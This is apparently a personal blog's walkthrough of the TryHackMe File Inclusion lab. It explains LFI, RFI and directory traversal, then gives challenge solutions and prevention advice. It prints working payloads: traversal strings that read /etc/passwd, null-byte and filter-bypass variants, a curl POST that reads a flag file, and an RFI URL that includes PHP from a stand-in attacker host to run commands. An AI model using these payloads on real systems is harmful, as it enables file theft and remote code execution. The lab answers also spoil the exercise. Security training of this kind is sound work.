File Inclusion TryHackMe

Understanding File Inclusion Vulnerabilities

File Inclusion is a common web application vulnerability that occurs when an application dynamically loads files based on user input without proper validation. This flaw can lead to Local File Inclusion (LFI), Remote File Inclusion (RFI), and Directory Traversal attacks, allowing attackers to read sensitive files, disclose system information, or even execute malicious code.

In this article, we’ll cover:

  • How file inclusion vulnerabilities work

  • Types: LFI, RFI, and Directory Traversal

  • Real-world exploitation examples

  • Risks and impacts

  • Prevention techniques

How File Inclusion Works

Some web applications allow users to request and display files from the server, such as images, documents, or language templates through the URL parameters.

Example URL with a parameter:

http://webapp.thm/get.php?file=userCV.pdf

Here:

  • file -> parameter name

  • userCV.pdf -> file requested

If user input is not validated, an attacker can modify the parameter to access other files, potentially outside the intended directory.

Why File Inclusion Vulnerabilities Happen

The root cause is poor input validation.

Common issues include:

  • Directly passing user-controlled input to file-handling functions.

  • Not sanitizing parameters.

  • Over-reliance on functions without filtering paths or file types.

Languages like PHP are particularly prone when functions such as include(), require(), file_get_contents() are misused.

Risks of File Inclusion

An attacker may:

  • Leak sensitive data (e.g., source code, credentials, system files).

  • Gain Remote Code Execution (RCE) if they can upload malicious files and include them.

  • Chain with other vulnerabilities (e.g., upload + LFI → RCE).

  • Disclose internal system paths and configuration.

Directory Traversal (Path Traversal)

Directory Traversal lets attackers read files outside the web root by manipulating paths using special sequences like ../ to move up directories.

Example (Linux target):

http://webapp.thm/get.php?file=../../../../etc/passwd

Example (Windows target):

http://webapp.thm/get.php?file=../../../../boot.ini

or

http://webapp.thm/get.php?file=../../../../windows/win.ini

If no validation is in place, the application may serve files from outside its intended directory.

Local File Inclusion (LFI) Examples

LFI occurs when a local file is included into a script via user-controlled input.

Example 1) Simple LFI

<?php 
include($_GET["lang"]);
?>

Request:

http://webapp.thm/index.php?lang=EN.php

If there’s no validation, we could read /etc/passwd:

http://webapp.thm/index.php?lang=/etc/passwd

Example 2) LFI with Specified Directory

<?php 
include("languages/". $_GET['lang']); 
?>

Even though the developer specifies a directory, traversal still works:

http://webapp.thm/index.php?lang=../../../../etc/passwd

Example 3) Black Box Testing with .php Extension

If the app appends .php automatically:

Warning: include(languages/THM.php)...

You can bypass using Null Byte injection:

http://webapp.thm/index.php?lang=../../../../../etc/passwd%00

This tricks the application into ignoring .php.

(Note: Null Byte is patched in PHP 5.3.4+.)

Example 4) Keyword Filtering Bypass

If /etc/passwd is blocked, you can use:

  • Null Byte: /etc/passwd%00

  • Current directory trick: /etc/passwd/.

Example 5) Filter Replacing ../

If the application removes ../, you can double-encode:

....//....//....//etc/passwd

Example 6) Forced Directory Inclusion

If the app requires a certain directory in the input:

?lang=languages/../../../../../etc/passwd

Remote File Inclusion (RFI)

RFI allows attackers to include files from external servers.
Requires allow_url_fopen to be enabled in PHP.

Example:

Attacker hosts cmd.txt:

<?php echo "Hello THM"; ?>

Injecting into the vulnerable app:

http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt

The app fetches and executes the remote file, potentially allowing full RCE.

How to Prevent File Inclusion Vulnerabilities

  • Keep software updated: frameworks, languages, and libraries.

  • Disable risky PHP settings if not required:

    • allow_url_fopen

    • allow_url_include

  • Turn off PHP error display in production to avoid information leaks.

  • Validate all user inputs: whitelist allowed file names and paths.

  • Avoid dynamic file inclusion entirely if possible.

  • Use a Web Application Firewall (WAF) to block common attack patterns.

  • Allow only required protocols/wrappers in the application.

Challenges

In THM, there are several challenges that are worrth your time and effort in tbhe end of the room. These challenges will test you on your File Inclusion techniques, which will cover 

These are the clues given:

1) Find an entry point that could be via GET, POST, COOKIE, or HTTP header values

2) Enter a valid input to see how the web server behaves.

3) Enter invalid inputs, including special characters and common file names.

4) Don't always trust what you supply in input forms is what you intended! Use either a browser address bar or a tool such as Burpsuite.

5) Look for errors while entering invalid input to disclose the current path of the web application; if there are no errors, then trial and error might be your best option.

6) Understand the input validation and if there are any filters!

7) Try the inject a valid entry to read sensitive files


Challenge 1: Capture flag at /etc/flag1



- First and foremost, we need to inspect the page, mainly because we want to inspect the form as the clue here is "the form is broken" and need to send 'POST"

- Here we can see that the form use "GET" method and we need to change that to "POST"




- Double click on the line, remove the GET and replace it with POST -> close the page inspector -> fill in the form with /etc/flag1 -> refresh the page. 

- Then, you can see the flag for the first challenge. 





Challenge 2: Capture flag at /etc/flag2

- first, you need to refresh the page first


- then, inspect the page -> change the value "guest" to "admin" to gain permission as an admin -> refresh the page.







- Then inspect again the page to change the value "admin" to ../../../../../etc/flag2 -> refresh the page


- You will see the flag. 



Challenge 3: Capture flag at /etc/flag3

- Open the terminal -> curl -X POST *insert the url of the page without the http://* -d 'method=POST&file=../../../../etc/flag3%00' --output -


- Then you can see the flag.



Challenge 4: Gain RCE in Lab #Playgrounf with RFI to execute hsotname command, what is the output?

- start web server

- open text editor -> <?php print exec('hostname'); ?> -> save it on the root with any name you want, here I use the name of cmd.txt




- On the page,

*page URL including the http://* ?file=http:// *IP on the terminal:Port on the terminal* / *file name that you save earlier*


Final Thoughts

File inclusion vulnerabilities can lead to a lot of unwanted impacts, including full server compromise. Whether you’re a developer or security tester, understanding how they work, how to exploit them, and how to prevent them is critical for building and securing web applications.

Comments

Post a Comment

Popular posts from this blog

Data Exfiltrtation Detection (DNS, FTP, HTTP, ICMP)

Image
Learning Objectives In this entry, we will cover the following learning objectives: - Understand the common methods used for data exfiltration. - Learn how to detect exfiltration attempts using network traffic analysis. - Identify signs of exfiltration on endpoint devices. - Correlate logs in a SIEM to uncover hidden exfiltration channels. 1) Data Exfil: Overview Tech, and indicators -> unauthorized data transfer from in to out by adversaries -> can be by insider or malware 1.1) Why they do data exfil?  Reason Description Financial Gain Stolen data (e.g., credit card information, personal records) can be sold on the dark web or used for fraud. Espionage Nation-state actors target intellectual property, trade secrets, or classified information for strategic advantage. Ransomware & Extortion Attackers steal data and threaten to leak it unless a ransom is paid. Disruption & Sabotage Adversaries aim to damage an organization's reputation or operations by exposing sensitiv...
Read more

Firewall, WAF, and VPN manual log Analysis using command line.

Image
Incident Scenario Initech Corp, a mid-sized financial services company, has recently deployed a new firewall and intrusion detection system (IDS) to monitor its network perimeter. Over the past month, security analysts have noticed abnormal traffic patterns, but the SOC team has been overwhelmed and missed deeper analysis. As a new security analyst, you have been tasked with reviewing one month of perimeter logs to determine what techniques the adversary used, and whether they succeeded in breaching the perimeter. You have been given three sets of logs from the time of the incident. The logs can be found in the Perimeter_logs/challenge directory on the Desktop. Firewall Logs:firewall.log WAF Logs:ids_alerts.log  VPN Logs:vpn_auth.log  LOG ANALYSIS Let's start by exploring the logs, as shown below: Commandline: head firewall.log Explore ids logs, as shown below: Commandline: head ids_alerts.log Examine VPN Logs, as shown below: Commandline: head vpn_auth.log Reconnaissance atte...
Read more

Reversing ELF TryHackMe

Image
  1) crackme1 for the first challenge all we need to do is run the file named "crackme1" and we got the flag. 2) crackme2 when we try to run the file, it correct us and say the right usage is ./crackme2 + password, and we need to find this password. As we open the file in ghidra, we can see if we use "super_secret+password" it will give us access granted as the output. and as we suspected, once we use it as the password, it will give us the flag.  3) crackme3 The same case as crackme2, so first let's see if there is any interesting strings that we can see.  here we can see there is a base64 strings as we open the file in ghidra, it says that if we input the base64 strings as the password, then the password is correct.  so we decode the strings first and then use it as the password.  4) crackme4 This launches GDB (GNU Debugger) and loads the executable crackme4. This tells GDB to print all the functions found inside the binary. This lets you identify where the re...
Read more